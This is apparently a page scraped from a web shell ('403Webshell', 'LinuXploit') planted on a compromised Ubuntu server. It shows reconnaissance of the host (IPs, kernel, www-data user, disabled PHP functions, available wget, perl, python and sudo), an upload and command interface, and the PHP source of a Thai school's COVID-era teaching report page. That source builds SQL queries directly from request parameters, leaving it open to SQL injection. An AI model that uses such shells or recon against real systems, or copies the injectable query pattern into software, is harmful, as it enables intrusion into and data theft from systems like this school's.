403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gpa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gpa//printsent.php
<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=tis-620">

<title>ฝ่ายบริหารงานวิชาการ</title>

</head>

<body onload="window.print()">
<?
require_once "config/connectdb.php";
$year=date(" Y ")+542; 
//*** Update Condition ***//
if($_GET["Action"] == "Save")
{
	for($i=1;$i<=$_POST["hdnLine"];$i++)
	{
		$strSQL = "UPDATE transcripts SET ";
		$strSQL .="total = '".$_POST["txttotal$i"]."' ";
		$strSQL .="WHERE id = '".$_POST["hdnid$i"]."' ";
		
		$objQuery = mysql_query($strSQL);
	}
	//header("location:$_SERVER[PHP_SELF]");
	//exit();
}


$strSQL = "SELECT * FROM sentreport where sen_tech='$_GET[id]' and sen_at='$_GET[sen_at]'";
$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
$i = 1;







?>

<table width="800" border="0" align="center" cellpadding="0" cellspacing="0">
                
				<center><img src="../Card_Logo.jpg" width="80" heigth="80"></center>

</table></td>

<?
$sql2="SELECT namesc,tumbolsc,amps,dissc,termx,years FROM config";
mysql_query("SET character_set_results=tis620");//ตั้งค่าการดึงข้อมูลออกมาให้เป็น tis620
mysql_query("SET character_set_client=tis620");//ตั้งค่าการส่งข้อมุลลงฐานข้อมูลออกมาให้ เป็น tis620
mysql_query("SET character_set_connection=tis620");//ตั้งค่าการติดต่อฐานข้อมูลให้เป็น ti
$result2 = mysql_query($sql2);
while (list($namesc,$tumbolsc,$amps,$dissc,$termx,$years) = mysql_fetch_row($result2)) {
$xsc_Name = $namesc;
$xsc_tumbolsc = $tumbolsc;
$xsc_disc = $dissc;
$xsc_amps = $amps;
$xsc_years = $years;
$term = $termx;
}

?>
                </tr>
              </table>
			 <center>แบบบันทึกสรุปรายงานการจัดกาเรียนการสอนในสถานการณ์แพร่ระบาดเชื้อโคโรน่าไวรัส 2019
				<br>
				<br>สัปดาห์ที่ 1 วันที่ .......................... ภาคเรียนที่ <? echo "$term"; ?> ปีการศึกษา <? echo "$xsc_years"; ?>
				<br>
                
<form name="frmMain" method="post" action="">
<table  width="100%" border="0" bgcolor="#999999">
  <tr bgcolor="#00bfff">
    
	 <th width="10"> <div align="center">#</div></th>
    <th width="10"> <div align="center">รหัสวิชา</div></th>
	 
	 
	 <th width="100"> <div align="center">ลักษณะการจัดการเรียนการสอน</div></th>
	 <th width="10"> <div align="center">ช่องทางการจัดการเรียนการสอน</div></th>
	 <th width="10"> <div align="center">ภาระ/ชิ้นงาน</div></th>
    <th width="10"> <div align="center">ระดับชั้น</div></th>
	<th width="10"> <div align="center">นักเรียนทั้งหมด</div></th>
	<th width="10"> <div align="center">เข้าเรียน</div></th>
	<th width="10"> <div align="center">ไม่เข้าเรียน</div></th>
	<th width="10"> <div align="center">ปัญหาข้อเสนอแนะ</div></th>
	
	

  </tr>
<?
$i =0;

while($objResult = mysql_fetch_array($objQuery))

{
if($bg == "#FFFFFF") { //ส่วนของการ สลับสี 
$bg = "#FFFFFF";
} else {
$bg = "#FFFFFF";
}

	$i = $i + 1;
	
	$sen_report=$objResult["sen_report"];
	$sen_chanal=$objResult["sen_chanal"];
	$sen_cllass=$objResult["sen_cllass"];
	$sen_work=$objResult["sen_work"];
	$sen_total=$objResult["sen_total"];
	$sen_in=$objResult["sen_in"];
	$sen_non=$objResult["sen_non"];
	$sen_probem=$objResult["sen_probem"];
	
	
?>
  <tr bgcolor="<?=$bg?>">
    <td><font size='2'><div align="center"><?=$i?></font></td>
	
	
    <td><font size='2'><?=$objResult["sen_code"];?></font></td>
	
	

	
	<td><font size='2'><? echo $sen_report;?></font></td>
                                        

	<td><font size='2'><? echo $sen_chanal;?></font></td>
	<td><font size='2'><? echo $sen_work;?></font></td>
	<td><font size='2'><? echo $sen_cllass;?></font></td>
	<td><font size='2'><? echo $sen_total;?></font></td>
	<td><font size='2'><? echo $sen_in;?></font></td>
	<td><font size='2'><? echo $sen_non;?></font></td>
	<td><font size='2'><? echo $sen_probem;?></font></td>
	
	


  </tr>
<?
	  $i = $i;
  }
  ?>

</table>
  
</form>

									<?
									$crsql="SELECT name FROM `teacher`
									WHERE  teachcode = '$teachac'";
									$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
									$dcrd = mysql_fetch_array($slr);
									$nameteach=$dcrd[0];
									
									?>

									<?
									$crsql="SELECT lastname FROM `teacher`
									WHERE  teachcode = '$teachac'";
									$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
									$dcrd = mysql_fetch_array($slr);
									$lastname=$dcrd[0];
									
									?>
<br><center>ลงชื่อ.....................................ครูผู้สอน&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ลงชื่อ.....................................หัวหน้ากลุ่มสาระ</center>
<br>

(..............................................)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(........................................................)
<br>
<br>
................/................/..............&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;............./......................./....................
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit